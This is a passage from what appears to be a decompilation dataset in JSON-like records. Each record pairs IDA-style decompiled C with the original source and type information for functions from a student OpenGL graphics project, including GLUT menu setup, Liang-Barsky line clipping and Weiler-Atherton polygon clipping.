yMouse)\n{\n if (key == 13)\n {\n switch (choice)\n {\n case 20: choice = 21; break;\n case 22: choice = 23; break;\n default: return;\n }\n glutPostRedisplay ();\n }\n else if (key == 27)\n {\n if (choice == 100) choice = 0;\n if (choice > 23) choice = 5;\n else if (choice > 21) choice = 4;\n else if (choice > 19) choice = 9;\n else if (choice > 17) choice = 1;\n else choice = 0;\n glutPostRedisplay ();\n }\n}", "canonical_original_code": "void keyfun(unsigned char key, int xMouse, int yMouse)\n{\n if (key == 13)\n {\n switch (choice)\n {\n case 20: choice = 21; break;\n case 22: choice = 23; break;\n default: return;\n }\n glutPostRedisplay ();\n }\n else if (key == 27)\n {\n if (choice == 100) choice = 0;\n if (choice > 23) choice = 5;\n else if (choice > 21) choice = 4;\n else if (choice > 19) choice = 9;\n else if (choice > 17) choice = 1;\n else choice = 0;\n glutPostRedisplay ();\n }\n}", "variable_types": [ [ "key", "unsigned char" ], [ "xMouse", "int" ], [ "yMouse", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "483c9ca7b3aea51d96d3db03608d251508406f4299fc3df1b51771e5b0ef35d9" }, { "name": "main", "canonical_name": "main", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nint v4[4]; // [rsp+Ch] [rbp-24h] BYREF\nunsigned int v5; // [rsp+1Ch] [rbp-14h]\nunsigned int v6; // [rsp+20h] [rbp-10h]\nunsigned int v7; // [rsp+24h] [rbp-Ch]\nunsigned int v8; // [rsp+28h] [rbp-8h]\nunsigned int v9; // [rsp+2Ch] [rbp-4h]\n\nv4[0] = argc;\nglutInit(v4, argv);\nglutInitDisplayMode(16LL);\nglutInitWindowSize(600LL, 600LL);\nglutInitWindowPosition(300LL, 300LL);\nglutCreateWindow(\"Graphic Experiment\");\nchoice = 0;\nglutReshapeFunc(ChangeSize);\nglutDisplayFunc(myDisplay);\nv9 = glutCreateMenu(blank);\nv9 = glutCreateMenu(basicgeometry);\nglutAddMenuEntry(\"Line\", 1LL);\nglutAddMenuEntry(\"Circle\", 2LL);\nglutAddMenuEntry(\"Ellipse\", 3LL);\nv8 = glutCreateMenu(fillpol);\nglutAddMenuEntry(\"Scan line\", 1LL);\nglutAddMenuEntry(\"Seed\", 2LL);\nv7 = glutCreateMenu(clip);\nglutAddMenuEntry(\"Liang\", 1LL);\nglutAddMenuEntry(\"Weiler Atherton\", 2LL);\nv6 = glutCreateMenu(shadow);\nglutAddMenuEntry(\"Zbuffer\", 1LL);\nv5 = glutCreateMenu(curve);\nglutAddMenuEntry(\"Bezier Curve\", 1LL);\nglutAddMenuEntry(\"Bezier Surface\", 2LL);\nglutCreateMenu(mainmenu);\nglutAddSubMenu(\"Element\", v9);\nglutAddSubMenu(\"Fill\", v8);\nglutAddSubMenu(\"Clipping\", v7);\nglutAddSubMenu(\"Shadow\", v6);\nglutAddSubMenu(\"Curve\", v5);\nglutAttachMenu(0LL);\nglutMouseFunc(mousedeal);\nglutKeyboardFunc(keyfun);\nglutMainLoop();\nreturn 0;\n}\n", "canonical_decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nint v4[4]; // [rsp+Ch] [rbp-24h] BYREF\nunsigned int v5; // [rsp+1Ch] [rbp-14h]\nunsigned int v6; // [rsp+20h] [rbp-10h]\nunsigned int v7; // [rsp+24h] [rbp-Ch]\nunsigned int v8; // [rsp+28h] [rbp-8h]\nunsigned int v9; // [rsp+2Ch] [rbp-4h]\n\nv4[0] = argc;\nglutInit(v4, argv);\nglutInitDisplayMode(16LL);\nglutInitWindowSize(600LL, 600LL);\nglutInitWindowPosition(300LL, 300LL);\nglutCreateWindow(\"Graphic Experiment\");\nchoice = 0;\nglutReshapeFunc(ChangeSize);\nglutDisplayFunc(myDisplay);\nv9 = glutCreateMenu(blank);\nv9 = glutCreateMenu(basicgeometry);\nglutAddMenuEntry(\"Line\", 1LL);\nglutAddMenuEntry(\"Circle\", 2LL);\nglutAddMenuEntry(\"Ellipse\", 3LL);\nv8 = glutCreateMenu(fillpol);\nglutAddMenuEntry(\"Scan line\", 1LL);\nglutAddMenuEntry(\"Seed\", 2LL);\nv7 = glutCreateMenu(clip);\nglutAddMenuEntry(\"Liang\", 1LL);\nglutAddMenuEntry(\"Weiler Atherton\", 2LL);\nv6 = glutCreateMenu(shadow);\nglutAddMenuEntry(\"Zbuffer\", 1LL);\nv5 = glutCreateMenu(curve);\nglutAddMenuEntry(\"Bezier Curve\", 1LL);\nglutAddMenuEntry(\"Bezier Surface\", 2LL);\nglutCreateMenu(mainmenu);\nglutAddSubMenu(\"Element\", v9);\nglutAddSubMenu(\"Fill\", v8);\nglutAddSubMenu(\"Clipping\", v7);\nglutAddSubMenu(\"Shadow\", v6);\nglutAddSubMenu(\"Curve\", v5);\nglutAttachMenu(0LL);\nglutMouseFunc(mousedeal);\nglutKeyboardFunc(keyfun);\nglutMainLoop();\nreturn 0;\n}", "original_code": "int main(int argc, char *argv[])\n{\n glutInit(&argc, argv);\n glutInitDisplayMode(0x0000 | 0x0000| 0x0010);\n glutInitWindowSize(600, 600);\n glutInitWindowPosition(300, 300);\n glutCreateWindow(\"Graphic Experiment\");\n choice = 0;\n glutReshapeFunc(ChangeSize);\n glutDisplayFunc(&myDisplay);\n GLint Basic, Clipping, Curve, Shadow, Fill;\n Basic = glutCreateMenu(blank);\n Basic = glutCreateMenu(basicgeometry);\n glutAddMenuEntry (\"Line\", 1);\n glutAddMenuEntry (\"Circle\", 2);\n glutAddMenuEntry (\"Ellipse\", 3);\n Fill = glutCreateMenu(fillpol);\n glutAddMenuEntry (\"Scan line\", 1);\n glutAddMenuEntry (\"Seed\", 2);\n Clipping = glutCreateMenu(clip);\n glutAddMenuEntry (\"Liang\", 1);\n glutAddMenuEntry (\"Weiler Atherton\", 2);\n Shadow = glutCreateMenu(shadow);\n glutAddMenuEntry (\"Zbuffer\", 1);\n Curve = glutCreateMenu(curve);\n glutAddMenuEntry (\"Bezier Curve\", 1);\n glutAddMenuEntry (\"Bezier Surface\", 2);\n glutCreateMenu(mainmenu);\n glutAddSubMenu (\"Element\", Basic);\n glutAddSubMenu (\"Fill\", Fill);\n glutAddSubMenu (\"Clipping\", Clipping);\n glutAddSubMenu (\"Shadow\", Shadow);\n glutAddSubMenu (\"Curve\", Curve);\n glutAttachMenu (0x0000);\n glutMouseFunc (mousedeal);\n glutKeyboardFunc (keyfun);\n glutMainLoop();\n return 0;\n}", "canonical_original_code": "int main(int argc, char *argv[])\n{\n glutInit(&argc, argv);\n glutInitDisplayMode(0x0000 | 0x0000| 0x0010);\n glutInitWindowSize(600, 600);\n glutInitWindowPosition(300, 300);\n glutCreateWindow(\"Graphic Experiment\");\n choice = 0;\n glutReshapeFunc(ChangeSize);\n glutDisplayFunc(&myDisplay);\n int Basic; int Clipping; int Curve; int Shadow; int Fill;\n Basic = glutCreateMenu(blank);\n Basic = glutCreateMenu(basicgeometry);\n glutAddMenuEntry (\"Line\", 1);\n glutAddMenuEntry (\"Circle\", 2);\n glutAddMenuEntry (\"Ellipse\", 3);\n Fill = glutCreateMenu(fillpol);\n glutAddMenuEntry (\"Scan line\", 1);\n glutAddMenuEntry (\"Seed\", 2);\n Clipping = glutCreateMenu(clip);\n glutAddMenuEntry (\"Liang\", 1);\n glutAddMenuEntry (\"Weiler Atherton\", 2);\n Shadow = glutCreateMenu(shadow);\n glutAddMenuEntry (\"Zbuffer\", 1);\n Curve = glutCreateMenu(curve);\n glutAddMenuEntry (\"Bezier Curve\", 1);\n glutAddMenuEntry (\"Bezier Surface\", 2);\n glutCreateMenu(mainmenu);\n glutAddSubMenu (\"Element\", Basic);\n glutAddSubMenu (\"Fill\", Fill);\n glutAddSubMenu (\"Clipping\", Clipping);\n glutAddSubMenu (\"Shadow\", Shadow);\n glutAddSubMenu (\"Curve\", Curve);\n glutAttachMenu (0x0000);\n glutMouseFunc (mousedeal);\n glutKeyboardFunc (keyfun);\n glutMainLoop();\n return 0;\n}", "variable_types": [ [ "argc", "int" ], [ "argv", "char *[]" ], [ "Basic", "int" ], [ "Clipping", "int" ], [ "Curve", "int" ], [ "Shadow", "int" ], [ "Fill", "int" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "483c9ca7b3aea51d96d3db03608d251508406f4299fc3df1b51771e5b0ef35d9" } ]
5770f47f9907d8691117177640cd8cc8a3761ddab0ed0571270bc7688f252407
kidxin/Graphics-Experiment
[ [ "read_clip", "->" ], [ "comp_dis", "->" ], [ "range", "->", "liang" ], [ "drawliangwindow", "->", "liang" ], [ "liang", "->", "range", "drawliangwindow" ], [ "clipping", "->" ] ]
[]
[ { "name": "read_clip", "canonical_name": "func0", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall read_clip(__int64 a1, __int64 a2)\n{\nreadpolygon(a1);\nreturn readpolygon(a2);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(__int64 a1, __int64 a2)\n{\nreadpolygon(a1);\nreturn readpolygon(a2);\n}", "original_code": "void read_clip(struct poly *window,struct poly *pol)\n{\n readpolygon(window);\n readpolygon(pol);\n}", "canonical_original_code": "void read_clip(struct poly *window, struct poly *pol)\n{\n readpolygon(window);\n readpolygon(pol);\n}", "variable_types": [ [ "window", "struct poly { struct point { int x; } vertex[50]; struct line { struct point p1; struct slope { int dx; } sl; } edge[50]; int ver_num; } *" ], [ "pol", "struct poly *" ] ], "return_type": "void", "user_defined_types": [ "struct poly { struct point vertex[50]; struct line edge[50]; int ver_num; }", "struct point { int x; }", "struct line { struct point p1; struct slope sl; }", "struct slope { int dx; }" ], "binary_hash": "5770f47f9907d8691117177640cd8cc8a3761ddab0ed0571270bc7688f252407" }, { "name": "comp_dis", "canonical_name": "func1", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall comp_dis(const void *a1, const void *a2)\n{\nreturn (unsigned int)(*((_DWORD *)a1 + 3) - *((_DWORD *)a2 + 3));\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(const void *a1, const void *a2)\n{\nreturn (unsigned int)(*((_DWORD *)a1 + 3) - *((_DWORD *)a2 + 3));\n}", "original_code": "int comp_dis(const void *a,const void *b)\n{\n return ((struct storp *)a)->dis-((struct storp *)b)->dis;\n}", "canonical_original_code": "int comp_dis(void *a, void *b)\n{\n return ((struct storp *)a)->dis-((struct storp *)b)->dis;\n}", "variable_types": [ [ "a", "void *" ], [ "b", "void *" ] ], "return_type": "int", "user_defined_types": [ "struct storp { struct point p; int dis; }", "struct point { int x; }" ], "binary_hash": "5770f47f9907d8691117177640cd8cc8a3761ddab0ed0571270bc7688f252407" }, { "name": "range", "canonical_name": "func2", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall range(int a1, double a2, double a3)\n{\n__int64 result; // rax\n\nif ( a1 )\n{\nif ( a1 >= 0 )\n{\nu1 = max(a2 / (double)a1, *(double *)&u1);\nresult = min(a3 / (double)a1, *(double *)&u2);\n}\nelse\n{\nu1 = max(a3 / (double)a1, *(double *)&u1);\nresult = min(a2 / (double)a1, *(double *)&u2);\n}\nu2 = result;\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func2(int a1, double a2, double a3)\n{\n__int64 result; // rax\n\nif ( a1 )\n{\nif ( a1 >= 0 )\n{\nu1 = max(a2 / (double)a1, *(double *)&u1);\nresult = min(a3 / (double)a1, *(double *)&u2);\n}\nelse\n{\nu1 = max(a3 / (double)a1, *(double *)&u1);\nresult = min(a2 / (double)a1, *(double *)&u2);\n}\nu2 = result;\n}\nreturn result;\n}", "original_code": "void range(double t1,double t2,int d)\n{\n if (d == 0) return;\n if (d < 0)\n {\n u1 = max(t2/d,u1);\n u2 = min(t1/d,u2);\n }else\n {\n u1 = max(t1/d,u1);\n u2 = min(t2/d,u2);\n }\n}", "canonical_original_code": "void range(double t1, double t2, int d)\n{\n if (d == 0) return;\n if (d < 0)\n {\n u1 = max(t2/d,u1);\n u2 = min(t1/d,u2);\n }else\n {\n u1 = max(t1/d,u1);\n u2 = min(t2/d,u2);\n }\n}", "variable_types": [ [ "t1", "double" ], [ "t2", "double" ], [ "d", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "5770f47f9907d8691117177640cd8cc8a3761ddab0ed0571270bc7688f252407" }, { "name": "drawliangwindow", "canonical_name": "func3", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 drawliangwindow()\n{\ndrawline(*(double *)&red, *((float *)&red + 2));\ndrawline(*(double *)&red, *((float *)&red + 2));\ndrawline(*(double *)&red, *((float *)&red + 2));\nreturn drawline(*(double *)&red, *((float *)&red + 2));\n}\n", "canonical_decompiled_code": "__int64 func3()\n{\ndrawline(*(double *)&red, *((float *)&red + 2));\ndrawline(*(double *)&red, *((float *)&red + 2));\ndrawline(*(double *)&red, *((float *)&red + 2));\nreturn drawline(*(double *)&red, *((float *)&red + 2));\n}", "original_code": "void drawliangwindow()\n{\n struct line l;\n l.p1.x = liangx1; l.p1.y = liangy1;\n l.p2.x = liangx1; l.p2.y = liangy2;\n drawline(l,red);\n l.p2.x = liangx2; l.p2.y = liangy1;\n drawline(l,red);\n l.p1.x = liangx2; l.p1.y = liangy2;\n drawline(l,red);\n l.p2.x = liangx1; l.p2.y = liangy2;\n drawline(l,red);\n}", "canonical_original_code": "void drawliangwindow()\n{\n struct line l;\n l.p1.x = liangx1; l.p1.y = liangy1;\n l.p2.x = liangx1; l.p2.y = liangy2;\n drawline(l,red);\n l.p2.x = liangx2; l.p2.y = liangy1;\n drawline(l,red);\n l.p1.x = liangx2; l.p1.y = liangy2;\n drawline(l,red);\n l.p2.x = liangx1; l.p2.y = liangy2;\n drawline(l,red);\n}", "variable_types": [ [ "l", "struct line { struct point { int x; } p1; struct slope { int dx; } sl; }" ] ], "return_type": "void", "user_defined_types": [ "struct line { struct point p1; struct slope sl; }", "struct point { int x; }", "struct slope { int dx; }" ], "binary_hash": "5770f47f9907d8691117177640cd8cc8a3761ddab0ed0571270bc7688f252407" }, { "name": "liang", "canonical_name": "func4", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall liang(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, __int64 a8, int a9)\n{\nu1 = 0LL;\nu2 = 0x3FF0000000000000LL;\nrange(HIDWORD(a8) - a7, (double)(liangx1 - (int)a7), (double)(liangx2 - (int)a7));\nrange(a9 - HIDWORD(a7), (double)(liangy1 - HIDWORD(a7)), (double)(liangy2 - HIDWORD(a7)));\nif ( *(double *)&u2 <= *(double *)&u1 )\n{\ndrawline(*(double *)&white, *((float *)&white + 2));\n}\nelse\n{\nif ( *(double *)&u1 > 0.0 )\ndrawline(*(double *)&white, *((float *)&white + 2));\nif ( *(double *)&u2 < 1.0 )\ndrawline(*(double *)&white, *((float *)&white + 2));\ndrawline(*(double *)&blue, *((float *)&blue + 2));\n}\nreturn drawliangwindow();\n}\n", "canonical_decompiled_code": "__int64 __fastcall func4(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, __int64 a7, __int64 a8, int a9)\n{\nu1 = 0LL;\nu2 = 0x3FF0000000000000LL;\nfunc2(HIDWORD(a8) - a7, (double)(liangx1 - (int)a7), (double)(liangx2 - (int)a7));\nfunc2(a9 - HIDWORD(a7), (double)(liangy1 - HIDWORD(a7)), (double)(liangy2 - HIDWORD(a7)));\nif ( *(double *)&u2 <= *(double *)&u1 )\n{\ndrawline(*(double *)&white, *((float *)&white + 2));\n}\nelse\n{\nif ( *(double *)&u1 > 0.0 )\ndrawline(*(double *)&white, *((float *)&white + 2));\nif ( *(double *)&u2 < 1.0 )\ndrawline(*(double *)&white, *((float *)&white + 2));\ndrawline(*(double *)&blue, *((float *)&blue + 2));\n}\nreturn func3();\n}", "original_code": "void liang(struct line l)\n{\n int dx = l.p2.x - l.p1.x;\n int dy = l.p2.y - l.p1.y;\n u1 = 0;\n u2 = 1;\n range(liangx1-l.p1.x,liangx2-l.p1.x,dx);\n range(liangy1-l.p1.y,liangy2-l.p1.y,dy);\n if (u1 < u2)\n {\n struct line lt;\n lt = l;\n if (u1 > 0)\n {\n lt.p2.x = (int)(l.p1.x + u1*dx+0.5);\n lt.p2.y = (int)(l.p1.y + u1*dy+0.5);\n drawline(lt,white);\n }\n if (u2 < 1)\n {\n lt.p2 = l.p2;\n lt.p1.x = (int)(l.p1.x + u2*dx + 0.5);\n lt.p1.y = (int)(l.p1.y + u2*dy + 0.5);\n drawline(lt,white);\n }\n lt.p1.x = (int)(l.p1.x + u1*dx + 0.5);\n lt.p2.x = (int)(l.p1.x + u2*dx + 0.5);\n lt.p1.y = (int)(l.p1.y + u1*dy + 0.5);\n lt.p2.y = (int)(l.p1.y + u2*dy + 0.5);\n drawline(lt,blue);\n }\n else drawline(l,white);\n drawliangwindow();\n}", "canonical_original_code": "void liang(struct line l)\n{\n int dx = l.p2.x - l.p1.x;\n int dy = l.p2.y - l.p1.y;\n u1 = 0;\n u2 = 1;\n range(liangx1-l.p1.x,liangx2-l.p1.x,dx);\n range(liangy1-l.p1.y,liangy2-l.p1.y,dy);\n if (u1 < u2)\n {\n struct line lt;\n lt = l;\n if (u1 > 0)\n {\n lt.p2.x = (int)(l.p1.x + u1*dx+0.5);\n lt.p2.y = (int)(l.p1.y + u1*dy+0.5);\n drawline(lt,white);\n }\n if (u2 < 1)\n {\n lt.p2 = l.p2;\n lt.p1.x = (int)(l.p1.x + u2*dx + 0.5);\n lt.p1.y = (int)(l.p1.y + u2*dy + 0.5);\n drawline(lt,white);\n }\n lt.p1.x = (int)(l.p1.x + u1*dx + 0.5);\n lt.p2.x = (int)(l.p1.x + u2*dx + 0.5);\n lt.p1.y = (int)(l.p1.y + u1*dy + 0.5);\n lt.p2.y = (int)(l.p1.y + u2*dy + 0.5);\n drawline(lt,blue);\n }\n else drawline(l,white);\n drawliangwindow();\n}", "variable_types": [ [ "l", "struct line { struct point { int x; } p1; struct slope { int dx; } sl; }" ], [ "dx", "int" ], [ "dy", "int" ], [ "lt", "struct line { struct point { int x; } p1; struct slope { int dx; } sl; }" ] ], "return_type": "void", "user_defined_types": [ "struct line { struct point p1; struct slope sl; }", "struct point { int x; }", "struct slope { int dx; }" ], "binary_hash": "5770f47f9907d8691117177640cd8cc8a3761ddab0ed0571270bc7688f252407" }, { "name": "clipping", "canonical_name": "func5", "repo": "kidxin/Graphics-Experiment", "decompiled_code": "__int64 __fastcall clipping(__int64 a1, __int64 a2)\n{\nint *v2; // rdi\n__int64 v3; // r8\n__int64 v4; // r9\n__int64 v5; // rdx\n__int64 v6; // rdx\n__int64 v7; // rdx\n__int64 v8; // rdx\n_QWORD *v9; // rbx\n__int64 v10; // rdx\n__int64 v11; // rdx\n__int64 v12; // rdx\n__int64 v13; // rdx\nint v14; // edx\n__int64 *v15; // rax\n__int64 v16; // rcx\n__int64 v17; // rbx\nint **v18; // rax\nint v19; // eax\n_DWORD *v20; // rdx\n__int64 v21; // rax\n_DWORD *v22; // rdx\n_QWORD *v23; // rax\nchar *v24; // rcx\n_QWORD *v25; // rsi\n__int64 v26; // rdx\n_DWORD *v27; // rdx\nint *v28; // rax\nint *v29; // rcx\n__int64 v30; // rax\n__int64 v31; // rdx\nchar *v32; // rcx\nint v33; // eax\n_DWORD *v34; // rdx\nchar *v35; // rax\n_DWORD *v36; // rdx\n_DWORD *v37; // rax\n_DWORD *v38; // rdx\n_DWORD *v39; // rax\n__int64 v41; // [rsp-40h] [rbp-10CB0h] BYREF\n__int64 v42; // [rsp-38h] [rbp-10CA8h]\n__int64 v43; // [rsp-30h] [rbp-10CA0h]\n__int64 v44; // [rsp-28h] [rbp-10C98h]\n__int64 v45; // [rsp-20h] [rbp-10C90h]\n__int64 v46; // [rsp-18h] [rbp-10C88h]\n__int64 v47; // [rsp-10h] [rbp-10C80h]\n__int64 v48; // [rsp-8h] [rbp-10C78h]\n__int64 v49; // [rsp+0h] [rbp-10C70h]\nint *v50; // [rsp+8h] [rbp-10C68h]\nint v51[52]; // [rsp+10h] [rbp-10C60h] BYREF\nint v52[52]; // [rsp+E0h] [rbp-10B90h] BYREF\nint v53[52]; // [rsp+1B0h] [rbp-10AC0h] BYREF\nint s[15052]; // [rsp+280h] [rbp-109F0h] BYREF\n_QWORD base[150]; // [rsp+EDB0h] [rbp-1EC0h] BYREF\n_DWORD v56[550]; // [rsp+F260h] [rbp-1A10h] BYREF\nint v57; // [rsp+FAF8h] [rbp-1178h]\n_DWORD v58[552]; // [rsp+FB00h] [rbp-1170h] BYREF\n_DWORD v59[550]; // [rsp+103A0h] [rbp-8D0h] BYREF\nint v60; // [rsp+10C38h] [rbp-38h]\nint v61; // [rsp+10C44h] [rbp-2Ch]\nint v62; // [rsp+10C48h] [rbp-28h]\nint v63; // [rsp+10C4Ch] [rbp-24h]\nint j; // [rsp+10C50h] [rbp-20h]\nint v65; // [rsp+10C54h] [rbp-1Ch]\nint k; // [rsp+10C58h] [rbp-18h]\nint i; // [rsp+10C5Ch] [rbp-14h]\nchar v68[8]; // [rsp+10C60h] [rbp-10h] BYREF\n\nv50 = (int *)a1;\nv49 = a2;\nmemset(s, 0, 0xC8uLL);\nmemset(v53, 0, 0xC8uLL);\nv2 = v52;\nmemset(v52, 0, 0xC8uLL);\nv65 = 0;\nfor ( i = 0; i < *(_DWORD *)(v49 + 2200); ++i )\n{\nk = 0;\nfor ( j = 0; j < v50[550]; ++j )\n{\nv5 = *(_QWORD *)&v50[8 * j + 152];\nv45 = *(_QWORD *)&v50[8 * j + 150];\nv46 = v5;\nv6 = *(_QWORD *)&v50[8 * j + 156];\nv47 = *(_QWORD *)&v50[8 * j + 154];\nv48 = v6;\nv7 = *(_QWORD *)(v49 + 32LL * i + 608);\nv41 = *(_QWORD *)(v49 + 32LL * i + 600);\nv42 = v7;\nv8 = *(_QWORD *)(v49 + 32LL * i + 624);\nv43 = *(_QWORD *)(v49 + 32LL * i + 616);\nv44 = v8;\nif ( (unsigned int)((__int64 (__fastcall *)(int *, __int64 *, __int64, __int64, __int64, __int64))interset)(\nv2,\n&v41,\nv8,\nv49 + 32LL * i + 592,\nv3,\nv4) )\n{\nv9 = &base[3 * k];\nv10 = *(_QWORD *)&v50[8 * j + 152];\nv45 = *(_QWORD *)&v50[8 * j + 150];\nv46 = v10;\nv11 = *(_QWORD *)&v50[8 * j + 156];\nv47 = *(_QWORD *)&v50[8 * j + 154];\nv48 = v11;\nv12 = *(_QWORD *)(v49 + 32LL * i + 608);\nv41 = *(_QWORD *)(v49 + 32LL * i + 600);\nv42 = v12;\nv13 = *(_QWORD *)(v49 + 32LL * i + 624);\nv43 = *(_QWORD *)(v49 + 32LL * i + 616);\nv44 = v13;\n*v9 = ((__int64 (__fastcall *)(int *, __int64 *, __int64, __int64, __int64, __int64))intersection)(\nv2,\n&v41,\nv13,\nv49 + 32LL * i + 592,\nv3,\nv4);\n*((_DWORD *)v9 + 2) = v14;\n*(_DWORD *)&v68[24 * k - 7836] = j;\nv15 = (__int64 *)(v49 + 12LL * i);\nv16 = *v15;\nv17 = *((unsigned int *)v15 + 2);\nv18 = (int **)&base[3 * k];\nv2 = *v18;\nv19 = dis(*v18, *((unsigned int *)v18 + 2), v16, v17);\n*(_DWORD *)&v68[24 * k++ - 7844] = v19;\n}\n}\nif ( k )\nqsort(base, k, 0x18uLL, (__compar_fn_t)comp_dis);\nv2 = v50;\nv62 = in_poly(v50, *(_QWORD *)(v49 + 12LL * i), *(unsigned int *)(v49 + 12LL * i + 8));\nv20 = &v56[3 * v65];\nv21 = v49 + 12LL * i;\n*(_QWORD *)v20 = *(_QWORD *)v21;\nv20[2] = *(_DWORD *)(v21 + 8);\n++v65;\nfor ( j = 0; j < k; ++j )\n{\nv22 = &v56[3 * v65];\nv23 = &base[3 * j];\n*(_QWORD *)v22 = *v23;\nv22[2] = *((_DWORD *)v23 + 2);\nv53[v65] = 2 - (((_BYTE)v62 + (_BYTE)j) & 1);\n*(_DWORD *)&v68[24 * j - 7840] = v53[v65++];\nv61 = *(_DWORD *)&v68[24 * j - 7836];\nv24 = &v68[1200 * v61 - 67856 + 24 * v52[v61]];\nv25 = &base[3 * j];\nv26 = v25[1];\n*(_QWORD *)v24 = *v25;\n*((_QWORD *)v24 + 1) = v26;\n*((_QWORD *)v24 + 2) = v25[2];\n++v52[v61];\n}\n}\nif ( v65 == *(_DWORD *)(v49 + 2200) )\n{\nif ( (unsigned int)in_poly(v50, *(_QWORD *)v49, *(unsigned int *)(v49 + 8)) )\nfillpolygon(v49, *(double *)&black, *((float *)&black + 2), *(double *)&blue, *((float *)&blue + 2));\n}\nelse\n{\nv57 = v65;\nv65 = 0;\nfor ( i = 0; i < v50[550]; ++i )\n{\nv27 = &v59[3 * v65];\nv28 = &v50[3 * i];\n*(_QWORD *)v27 = *(_QWORD *)v28;\nv27[2] = v28[2];\n++v65;\nfor ( j = 0; j < v52[i]; ++j )\n{\nv29 = &v50[3 * i];\nv30 = *(_QWORD *)v29;\nv31 = (unsigned int)v29[2];\nv32 = &v68[1200 * i - 67856 + 24 * j];\nv33 = dis(*(_QWORD *)v32, *((unsigned int *)v32 + 2), v30, v31);\n*(_DWORD *)&v68[1200 * i - 67844 + 24 * j] = v33;\n}\nif ( v52[i] )\nqsort(&s[300 * i + 52], v52[i], 0x18uLL, (__compar_fn_t)comp_dis);\nfor ( j = 0; j < v52[i]; ++j )\n{\nv34 = &v59[3 * v65];\nv35 = &v68[1200 * i - 67856 + 24 * j];\n*(_QWORD *)v34 = *(_QWORD *)v35;\nv34[2] = *((_DWORD *)v35 + 2);\ns[v65++] = *(_DWORD *)&v68[1200 * i - 67840 + 24 * j];\n}\n}\nv60 = v65;\nmakeline(v56);\nmakeline(v59);\nmemset(v51, 0, 0xC8uLL);\nwhile ( 1 )\n{\nv63 = 1;\nfor ( i = 0; i < v57; ++i )\n{\nif ( v53[i] == 2 && !v51[i] )\n{\nv51[i] = 1;\nv63 = 0;\nbreak;\n}\n}\nif ( v63 )\nbreak;\nv65 = 0;\nwhile ( 1 )\n{\nwhile ( v53[i] != 1 )\n{\nv36 = &v58[3 * v65];\nv37 = &v56[3 * i];\n*(_QWORD *)v36 = *(_QWORD *)v37;\nv36[2] = v37[2];\n++v65;\ni = (i + 1) % v57;\n}\nfor ( k = 0;\nk < v60\n&& !(unsigned int)eq_point(\n*(_QWORD *)&v56[3 * i],\n(unsigned int)v56[3 * i + 2],\n*(_QWORD *)&v59[3 * k],\n(unsigned int)v59[3 * k + 2]);\n++k )\n{\n;\n}\nwhile ( s[k] != 2 )\n{\nv38 = &v58[3 * v65];\nv39 = &v59[3 * k];\n*(_QWORD *)v38 = *(_QWORD *)v39;\nv38[2] = v39[2];\n++v65;\nk = (k + 1) % v60;\n}\nfor ( i = 0;\ni < v57\n&& !(unsigned int)eq_point(\n*(_QWORD *)&v56[3 * i],\n(unsigned int)v56[3 * i + 2],\n*(_QWORD *)&v59[3 * k],\n(unsigned int)v59[3 * k + 2]);\n++i )\n{\n;\n}\nif ( v51[i] )\nbreak;\nv51[i] = 1;\n}\nv58[550] = v65;\nmakeline(v58);\nfillpolygon(v58, *(double *)&black, *((float *)&black + 2), *(double *)&blue, *((float *)&blue + 2));\n}\n}\ndrawpolygon(v49, *(double *)&yellow, *((float *)&yellow + 2));\nreturn drawpolygon(v50, *(double *)&red, *((float *)&red + 2));\n}\n", "canonical_decompiled_code": "__int64 __fastcall func5(__int64 a1, __int64 a2)\n{\nint *v2; // rdi\n__int64 v3; // r8\n__int64 v4; // r9\n__int64 v5; // rdx\n__int64 v6; // rdx\n__int64 v7; // rdx\n__int64 v8; // rdx\n_QWORD *v9; // rbx\n__int64 v10; // rdx\n__int64 v11; // rdx\n__int64 v12; // rdx\n__int64 v13; // rdx\nint v14; // edx\n__int64 *v15; // rax\n__int64 v16; // rcx\n__int64 v17; // rbx\nint **v18; // rax\nint v19; // eax\n_DWORD *v20; // rdx\n__int64 v21; // rax\n_DWORD *v22; // rdx\n_QWORD *v23; // rax\nchar *v24; // rcx\n_QWORD *v25; // rsi\n__int64 v26; // rdx\n_DWORD *v27; // rdx\nint *v28; // rax\nint *v29; // rcx\n__int64 v30; // rax\n__int64 v31; // rdx\nchar *v32; // rcx\nint v33; // eax\n_DWORD *v34; // rdx\nchar *v35; // rax\n_DWORD *v36; // rdx\n_DWORD *v37; // rax\n_DWORD *v38; // rdx\n_DWORD *v39; // rax\n__int64 v41; // [rsp-40h] [rbp-10CB0h] BYREF\n__int64 v42; // [rsp-38h] [rbp-10CA8h]\n__int64 v43; // [rsp-30h] [rbp-10CA0h]\n__int64 v44; // [rsp-28h] [rbp-10C98h]\n__int64 v45; // [rsp-20h] [rbp-10C90h]\n__int64 v46; // [rsp-18h] [rbp-10C88h]\n__int64 v47; // [rsp-10h] [rbp-10C80h]\n__int64 v48; // [rsp-8h] [rbp-10C78h]\n__int64 v49; // [rsp+0h] [rbp-10C70h]\nint *v50; // [rsp+8h] [rbp-10C68h]\nint v51[52]; // [rsp+10h] [rbp-10C60h] BYREF\nint v52[52]; // [rsp+E0h] [rbp-10B90h] BYREF\nint v53[52]; // [rsp+1B0h] [rbp-10AC0h] BYREF\nint s[15052]; // [rsp+280h] [rbp-109F0h] BYREF\n_QWORD base[150]; // [rsp+EDB0h] [rbp-1EC0h] BYREF\n_DWORD v56[550]; // [rsp+F260h] [rbp-1A10h] BYREF\nint v57; // [rsp+FAF8h] [rbp-1178h]\n_DWORD v58[552]; // [rsp+FB00h] [rbp-1170h] BYREF\n_DWORD v59[550]; // [rsp+103A0h] [rbp-8D0h] 